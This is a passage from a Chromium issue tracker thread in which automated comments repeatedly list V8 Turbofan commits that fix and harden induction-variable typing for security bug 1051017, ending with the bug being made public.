[turbofan] Harden ReduceJSCreateArray against typing bugs

~~Bug: chromium:1051017~~
Change-Id: I597363417d905bc65522d64ebfa2cbf9dde4b98f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2054086
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66255}

[modify] https://crrev.com/6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a/src/compiler/js-create-lowering.cc

Comment 48 by bugdroid on Thu, Apr 2, 2020, 8:56 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/a2e971c56d1c46f7c71ccaf33057057308cc8484

commit a2e971c56d1c46f7c71ccaf33057057308cc8484
Author: Georg Neis <neis@chromium.org>
Date: Thu Feb 13 13:29:25 2020

[turbofan] Fix bug in Typer::TypeInductionVariablePhi

The fix in b8b6075021ade0969c6b8de9459cd34163f7dbe1 was insufficient.

The bug is that induction variable typing does not take into account
that the value can become NaN through addition or subtraction of
Infinities. The previous fix incorrectly assumed that this can only
happen when the initial value of the loop variable is an Infinity.

~~Bug: chromium:1051017~~
Change-Id: I8c9ffb2925288b80c00e18e7bc22a556bf540733
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2051957
Commit-Queue: Georg Neis <neis@chromium.org>
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66258}

[modify] https://crrev.com/a2e971c56d1c46f7c71ccaf33057057308cc8484/src/compiler/typer.cc
[add] https://crrev.com/a2e971c56d1c46f7c71ccaf33057057308cc8484/test/mjsunit/compiler/regress-1051017.js

Comment 49 by bugdroid on Thu, Apr 2, 2020, 8:57 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/68099bffaca0b4cfa10eb0178606aa55fd85d8ef

commit 68099bffaca0b4cfa10eb0178606aa55fd85d8ef
Author: Georg Neis <neis@chromium.org>
Date: Wed Feb 19 16:40:45 2020

[turbofan] Fix bug in Typer::TypeInductionVariablePhi, again

Regrettably the previous fix was flawed because a zero increment can
change the type of the induction variable.

~~Bug: chromium:1051017~~
Change-Id: I2d7aeffb2065e739445118a2d0c5f7732eecdcbb
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2064222
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66345}

[modify] https://crrev.com/68099bffaca0b4cfa10eb0178606aa55fd85d8ef/src/compiler/typer.cc
[modify] https://crrev.com/68099bffaca0b4cfa10eb0178606aa55fd85d8ef/test/mjsunit/compiler/regress-1051017.js

Comment 50 by bugdroid on Thu, Apr 2, 2020, 9:17 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a

commit 6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a
Author: Georg Neis <neis@chromium.org>
Date: Thu Feb 13 12:27:45 2020

[turbofan] Harden ReduceJSCreateArray against typing bugs

~~Bug: chromium:1051017~~
Change-Id: I597363417d905bc65522d64ebfa2cbf9dde4b98f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2054086
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66255}

[modify] https://crrev.com/6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a/src/compiler/js-create-lowering.cc

Comment 51 by bugdroid on Thu, Apr 2, 2020, 9:17 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/a2e971c56d1c46f7c71ccaf33057057308cc8484

commit a2e971c56d1c46f7c71ccaf33057057308cc8484
Author: Georg Neis <neis@chromium.org>
Date: Thu Feb 13 13:29:25 2020

[turbofan] Fix bug in Typer::TypeInductionVariablePhi

The fix in b8b6075021ade0969c6b8de9459cd34163f7dbe1 was insufficient.

The bug is that induction variable typing does not take into account
that the value can become NaN through addition or subtraction of
Infinities. The previous fix incorrectly assumed that this can only
happen when the initial value of the loop variable is an Infinity.

~~Bug: chromium:1051017~~
Change-Id: I8c9ffb2925288b80c00e18e7bc22a556bf540733
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2051957
Commit-Queue: Georg Neis <neis@chromium.org>
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66258}

[modify] https://crrev.com/a2e971c56d1c46f7c71ccaf33057057308cc8484/src/compiler/typer.cc
[add] https://crrev.com/a2e971c56d1c46f7c71ccaf33057057308cc8484/test/mjsunit/compiler/regress-1051017.js

Comment 52 by bugdroid on Thu, Apr 2, 2020, 9:18 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/68099bffaca0b4cfa10eb0178606aa55fd85d8ef

commit 68099bffaca0b4cfa10eb0178606aa55fd85d8ef
Author: Georg Neis <neis@chromium.org>
Date: Wed Feb 19 16:40:45 2020

[turbofan] Fix bug in Typer::TypeInductionVariablePhi, again

Regrettably the previous fix was flawed because a zero increment can
change the type of the induction variable.

~~Bug: chromium:1051017~~
Change-Id: I2d7aeffb2065e739445118a2d0c5f7732eecdcbb
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2064222
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66345}

[modify] https://crrev.com/68099bffaca0b4cfa10eb0178606aa55fd85d8ef/src/compiler/typer.cc
[modify] https://crrev.com/68099bffaca0b4cfa10eb0178606aa55fd85d8ef/test/mjsunit/compiler/regress-1051017.js

Comment 53 by bugdroid on Thu, Apr 2, 2020, 9:35 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a

commit 6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a
Author: Georg Neis <neis@chromium.org>
Date: Thu Feb 13 12:27:45 2020

[turbofan] Harden ReduceJSCreateArray against typing bugs

~~Bug: chromium:1051017~~
Change-Id: I597363417d905bc65522d64ebfa2cbf9dde4b98f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2054086
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66255}

[modify] https://crrev.com/6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a/src/compiler/js-create-lowering.cc

Comment 54 by bugdroid on Thu, Apr 2, 2020, 9:35 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/a2e971c56d1c46f7c71ccaf33057057308cc8484

commit a2e971c56d1c46f7c71ccaf33057057308cc8484
Author: Georg Neis <neis@chromium.org>
Date: Thu Feb 13 13:29:25 2020

[turbofan] Fix bug in Typer::TypeInductionVariablePhi

The fix in b8b6075021ade0969c6b8de9459cd34163f7dbe1 was insufficient.

The bug is that induction variable typing does not take into account
that the value can become NaN through addition or subtraction of
Infinities. The previous fix incorrectly assumed that this can only
happen when the initial value of the loop variable is an Infinity.

~~Bug: chromium:1051017~~
Change-Id: I8c9ffb2925288b80c00e18e7bc22a556bf540733
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2051957
Commit-Queue: Georg Neis <neis@chromium.org>
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66258}

[modify] https://crrev.com/a2e971c56d1c46f7c71ccaf33057057308cc8484/src/compiler/typer.cc
[add] https://crrev.com/a2e971c56d1c46f7c71ccaf33057057308cc8484/test/mjsunit/compiler/regress-1051017.js

Comment 55 by bugdroid on Thu, Apr 2, 2020, 9:37 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/68099bffaca0b4cfa10eb0178606aa55fd85d8ef

commit 68099bffaca0b4cfa10eb0178606aa55fd85d8ef
Author: Georg Neis <neis@chromium.org>
Date: Wed Feb 19 16:40:45 2020

[turbofan] Fix bug in Typer::TypeInductionVariablePhi, again

Regrettably the previous fix was flawed because a zero increment can
change the type of the induction variable.

~~Bug: chromium:1051017~~
Change-Id: I2d7aeffb2065e739445118a2d0c5f7732eecdcbb
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2064222
Reviewed-by: Michael Stanton <mvstanton@chromium.org>

Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66345}

[modify] https://crrev.com/68099bffaca0b4cfa10eb0178606aa55fd85d8ef/src/compiler/typer.cc
[modify] https://crrev.com/68099bffaca0b4cfa10eb0178606aa55fd85d8ef/test/mjsunit/compiler/regress-1051017.js

Comment 56 by bugdroid on Thu, Apr 2, 2020, 9:41 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/e440eda4ad9bfd8983c9896de574556e8eaee406

commit e440eda4ad9bfd8983c9896de574556e8eaee406
Author: Georg Neis <neis@chromium.org>
Date: Mon Mar 02 12:24:00 2020

[turbofan] Validate computed induction variable phi type

~~Bug: chromium:1051017~~
Change-Id: I1729c059f4bc4fc75615fa0aa8dacf44dc56dad4
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2066968
Commit-Queue: Georg Neis <neis@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66526}

[modify] https://crrev.com/e440eda4ad9bfd8983c9896de574556e8eaee406/src/compiler/typer.cc

Comment 57 by bugdroid on Thu, Apr 2, 2020, 9:43 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/fa5fc748e53ad9d3ca44050d07659e858dbffd94

commit fa5fc748e53ad9d3ca44050d07659e858dbffd94
Author: Georg Neis <neis@chromium.org>
Date: Mon Mar 09 12:57:07 2020

[turbofan] Harden BuildElementAccess against potential typer bugs

~~Bug: chromium:1051017~~
Change-Id: Id300c6d5f88b762e465383ac78ed037d3bc958d5
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2089938
Commit-Queue: Georg Neis <neis@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66627}

[modify] https://crrev.com/fa5fc748e53ad9d3ca44050d07659e858dbffd94/src/compiler/js-native-context-specialization.cc
[modify] https://crrev.com/fa5fc748e53ad9d3ca44050d07659e858dbffd94/src/compiler/simplified-lowering.cc
[modify] https://crrev.com/fa5fc748e53ad9d3ca44050d07659e858dbffd94/src/compiler/simplified-operator.cc
[modify] https://crrev.com/fa5fc748e53ad9d3ca44050d07659e858dbffd94/src/compiler/simplified-operator.h

Comment 58 by bugdroid on Thu, Apr 2, 2020, 10:04 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a

commit 6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a
Author: Georg Neis <neis@chromium.org>
Date: Thu Feb 13 12:27:45 2020

[turbofan] Harden ReduceJSCreateArray against typing bugs

~~Bug: chromium:1051017~~
Change-Id: I597363417d905bc65522d64ebfa2cbf9dde4b98f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2054086
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66255}

[modify] https://crrev.com/6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a/src/compiler/js-create-lowering.cc

Comment 59 by bugdroid on Thu, Apr 2, 2020, 10:05 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/a2e971c56d1c46f7c71ccaf33057057308cc8484

commit a2e971c56d1c46f7c71ccaf33057057308cc8484
Author: Georg Neis <neis@chromium.org>
Date: Thu Feb 13 13:29:25 2020

[turbofan] Fix bug in Typer::TypeInductionVariablePhi

The fix in b8b6075021ade0969c6b8de9459cd34163f7dbe1 was insufficient.

The bug is that induction variable typing does not take into account
that the value can become NaN through addition or subtraction of
Infinities. The previous fix incorrectly assumed that this can only
happen when the initial value of the loop variable is an Infinity.

~~Bug: chromium:1051017~~
Change-Id: I8c9ffb2925288b80c00e18e7bc22a556bf540733
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2051957
Commit-Queue: Georg Neis <neis@chromium.org>
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66258}

[modify] https://crrev.com/a2e971c56d1c46f7c71ccaf33057057308cc8484/src/compiler/typer.cc
[add] https://crrev.com/a2e971c56d1c46f7c71ccaf33057057308cc8484/test/mjsunit/compiler/regress-1051017.js

Comment 60 by bugdroid on Thu, Apr 2, 2020, 10:07 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/68099bffaca0b4cfa10eb0178606aa55fd85d8ef

commit 68099bffaca0b4cfa10eb0178606aa55fd85d8ef
Author: Georg Neis <neis@chromium.org>
Date: Wed Feb 19 16:40:45 2020

[turbofan] Fix bug in Typer::TypeInductionVariablePhi, again

Regrettably the previous fix was flawed because a zero increment can
change the type of the induction variable.

~~Bug: chromium:1051017~~
Change-Id: I2d7aeffb2065e739445118a2d0c5f7732eecdcbb
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2064222
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66345}

[modify] https://crrev.com/68099bffaca0b4cfa10eb0178606aa55fd85d8ef/src/compiler/typer.cc
[modify] https://crrev.com/68099bffaca0b4cfa10eb0178606aa55fd85d8ef/test/mjsunit/compiler/regress-1051017.js

Comment 61 by bugdroid on Thu, Apr 2, 2020, 10:11 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8.git/+/e440eda4ad9bfd8983c9896de574556e8eaee406

commit e440eda4ad9bfd8983c9896de574556e8eaee406
Author: Georg Neis <neis@chromium.org>
Date: Mon Mar 02 12:24:00 2020

[turbofan] Validate computed induction variable phi type

~~Bug: chromium:1051017~~
Change-Id: I1729c059f4bc4fc75615fa0aa8dacf44dc56dad4
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2066968
Commit-Queue: Georg Neis <neis@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Reviewed-by: Michael Stanton <mvstanton@chromium.org>
Cr-Commit-Position: refs/heads/master@{#66526}

[modify] https://crrev.com/e440eda4ad9bfd8983c9896de574556e8eaee406/src/compiler/typer.cc

Comment 62 by sheriffbot on Wed, May 27, 2020, 2:55 PM EDT Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot